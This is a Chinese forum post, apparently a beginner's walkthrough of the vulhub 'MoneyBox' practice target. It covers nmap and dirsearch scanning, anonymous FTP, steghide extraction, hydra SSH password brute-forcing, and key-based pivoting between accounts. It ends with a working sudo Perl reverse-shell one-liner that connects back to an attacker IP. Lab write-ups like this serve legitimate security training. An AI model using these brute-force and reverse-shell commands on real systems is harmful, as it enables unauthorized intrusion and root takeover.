第一次打靶

打印 上一主题 下一主题

主题 785|帖子 785|积分 2355

靶机介绍
(1)靶机名称:1-Free-MoneyBox
(2)难度级别:低
(3)靶机来源:vulhub
(4)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0
打靶过程
(1)启动靶机后,无法通过用户名和密码直接登入至靶机
(2)默认情况并不知道靶机的IP地址,因靶机采用仅主机方式与物理机连接,查看到物理机仅主机网卡名称为VirtualBox Host-Only Network

(3)查找靶机地址
法一:使用命令arp-scan扫描网卡vboxnet0所在网段的所有的IP地址(适用于Linux操作系统)
  #sudo arp-scan -I vboxnet0 -l

法二:通过nmap -sP扫描192.168.56.0/24断存活主机

(4)使用nmap扫描改IP开放的所有端口
#sudo nmap -p- 192.168.56.102

通过扫描发现,该靶机开放三个端口,21、22、80
(5)对每一个端口进行工作服务的指纹扫描(应用服务版本信息等)
  1. #sudo nmap -p21,22,80 -sV 192.168.56.102
复制代码

扫描发现21端口运行vsftpd,22端口运行OpenSSH7.9p1版本,且目标服务器操作系统为Debian,80端口运行Apache httpd2.4.38
(6)对每一个端口进行脚本扫描
①对21端口进行脚本扫描(即调用nmap针对ftp服务的默认扫描的脚本)
  1. #sudo nmap -p21 -sC 192.168.56.102
复制代码

通过扫描发现,该靶机21端口ftp服务存在一个匿名登录的漏洞(即不需要输入账号密码或者只需要输入Anonymous用户即可登陆至ftp服务器)
②对22端口ssh服务进行脚本扫描(即调用namp针对ssh服务的默认扫描的脚本)
  1. #sudo nmap -p22 -sC 192.168.56.102
复制代码

该扫描结果,并未发现ssh服务在配置和应用上的漏洞,只是发现了加密的key
③对80端口httpd服务进行脚本扫描(即调用namp针对httpd服务的默认扫描的脚本)
  1. #sudo nmap -p80 -sC 192.168.56.102
复制代码

该扫描结果,并未发现httpd服务在配置和应用上的漏洞,只是发现了http的title信息为MoneyBox
总结:通过对三个端口扫描发现,只有ftp服务的漏洞类型是最明显的,所以先用ftp命令登陆至目标服务器
7)通过匿名用户登录目标服务器(用户名和密码都输入anonymous)
  1. #ftp 192.168.56.102
复制代码

8)查看当前ftp服务器都有哪些文件
  1. ftp>ls
复制代码

通过ls发现一张名字为trytofind.jpg的文件,似乎是在提示我们去找写什么东西
9)将图片下载下来
  1. ftp>get trytofind.jpg
复制代码

10)最后,可以测试,是否可以通过ftp直接跳转到操作系统的其他路径
  1. ftp>cd /
  2. ftp>pwd
复制代码

通过测试发现,仍然在当前路径,无法直接跳转到操作系统其他路径
11)退出ftp
  1. ftp>exit
复制代码

12)通过图片查看工具gwenview打开图片(打开图片需要仔细观察这张图片有没有什么可用的信息)
  1. #gwenview trytofind.jpg
复制代码

通过图片未观察到什么有用的信息
12)一般渗透攻击的初期是慎用暴力破解密码攻击的,因为密码破解过程中,会大量向服务器发送数据包,容易引起服务器端的警觉,引起系统管理员的怀疑
13)通过开发的80端口,访问web页面是否有有用的信息
  1. 浏览器:http://192.168.56.102/
复制代码

该界面看不到什么有用的信息,同时查看页面源代码也没有发现什么有用的信息
14)通过目录扫描工具dirsearch -u 对靶机站点进行扫描
  1. #dirsearch -u http://192.168.56.102
复制代码


通过扫描发现一个http://192.168.56.102/blogs/站点,对其进行访问
15)访问上一步发现的站点http://192.168.56.102/blogs/


查看页面未发现任何有价值的东西,查看源代码,在最下面48行发现提示:the hint is the another secret directory is S3cr3t-T3xt(这个提示是另外一个秘密的目录S3cr3t-T3xt)
16)访问这个目录
  1. http://192.168.56.102/S3cr3t-T3xt/
复制代码


查看源代码,发现一个密钥:Secret Key 3xtr4ctd4t4,该密钥是做什么用的现在还不得而知
总结:做完以上操作,似乎攻击渗透进入了瓶颈期,此时可以尝试一下ssh的暴力破解
17)先使用nmap针对ssh暴力破解的脚本ssh-brute,挂载一个用户名字典,挂载一个密码字典
  1. #nmap --script ssh-brute --script-args userdb=user.txt,passdb=rockyou.txt 192.168.56.102
复制代码

未能暴力破解出root密码
18)在Kali上使用工具对下载下来的图片进行信息搜集
①先使用strings命令查看图片上面是否有可打印的字符,也许字符中会泄露一些机密信息
  1. #strings trytofind.jpg
复制代码
查看图片头部发现一些并不应该出现的字符,此时不得不怀疑,该图片有可能使用隐写术的方式隐藏着某些机密的内容

②使用隐写术解密工具steghide访问该图片
  1. #steghide info trytofind.jpg
复制代码

​        输入命令时,提示是否尝试获取图片中确定的数据,选择yes,此时需要输入密码才能解出嵌入到图片中的数据,此时可以通过使用web页面中给出的密钥(碰碰运气),发现了图片中嵌入的数据为“data.txt”
③使用隐写术解密工具steghide榨取信息的参数extract,提取嵌入到图片中的文件“data.txt“
  1. steghide extract -sf trytofind.jpg
复制代码

18)查看从图片中榨取出的数据”data.txt“
  1. #cat data.txt
复制代码

从文件内容可知目标系统存在一个nenu的用户,且该用户密码很弱
19)此时通过密码破解工具hydry对renu用户进行破解
  1. #echo renu >user.txt
  2. #hydra -l renu -P rockyou.txt 192.168.56.102 ssh
复制代码

通过hydra破解出renu用户密码为987654321
20)尝试使用renu用户及密码通过ssh服务登录目标服务器
  1. #ssh renu@192.168.56.102
  2. #id
复制代码

21)登录成功后,查看nenu用户是否有sudo权限
  1. $sudo -s               #输入的密码为sudo密码,即renu密码
  2. $uname -a
复制代码

通过sudo -s发现renu用户不在sudoers 文件中
22)查看历史命令,是否有可用信息
  1. $history
复制代码

通过历史命令发现,目标主机还有一个lily用户,并且renu对lily用户做了免密登录(即renu用户不需要密码直接登陆至lily用户)
23)查看renu用户公钥文件
  1. $cd ./ssh
  2. $ls
  3. $cat id_rsa.pub
复制代码

24)尝试进入lily用户的家目录
  1. $cd /home/lily
  2. $ls
  3. $cat /user2.txt
  4. $cd /home/lily/.ssh
  5. #ls
  6. #cat authorized_keys
复制代码

直接获取到了lily用户的flag文件,同时在lily用户的.ssh目录下发现了renu用户的公钥
25)通过ssh,查看是否可直接通过renu用户免密登录至lily用户
  1. $ssh lily@127.0.0.1
  2. $id
复制代码

26)查看lily用户是否具有sodu权限
  1. $sudo -s
复制代码

此时需要输入lily用户的密码,我们不知道lily用户密码,所以无法直接通过sudo提升至root
27)通过查看lily用户的history命令,查看是否有可用信息
  1. $history
复制代码
查看到lily用户输入过sudo -l命令,该命令主要是列出sudo权限命令

28)通过sudo -l查看到了lily用户的sudo权限
  1. $sudo -l
复制代码

查看到perl命令可不需要root用户也可以执行该命令
29)通过perl命令进行反弹shell,获取到root权限
  1. lily@MoneyBox:~$ sudo perl -e 'use Socket;$i="192.168.56.103";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
复制代码
[code](root
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

惊落一身雪

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表